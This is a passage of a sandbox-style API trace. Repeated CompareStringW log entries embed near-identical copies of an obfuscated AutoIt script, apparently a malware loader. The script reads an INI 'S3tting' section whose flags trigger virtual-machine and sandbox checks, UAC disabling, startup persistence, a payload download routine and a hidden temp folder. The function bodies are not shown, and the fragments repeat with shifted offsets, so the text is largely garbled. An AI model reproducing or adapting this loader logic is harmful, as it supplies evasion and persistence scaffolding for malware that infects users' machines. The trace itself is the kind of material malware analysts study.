Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\",", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="st $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", ''", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="$53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", 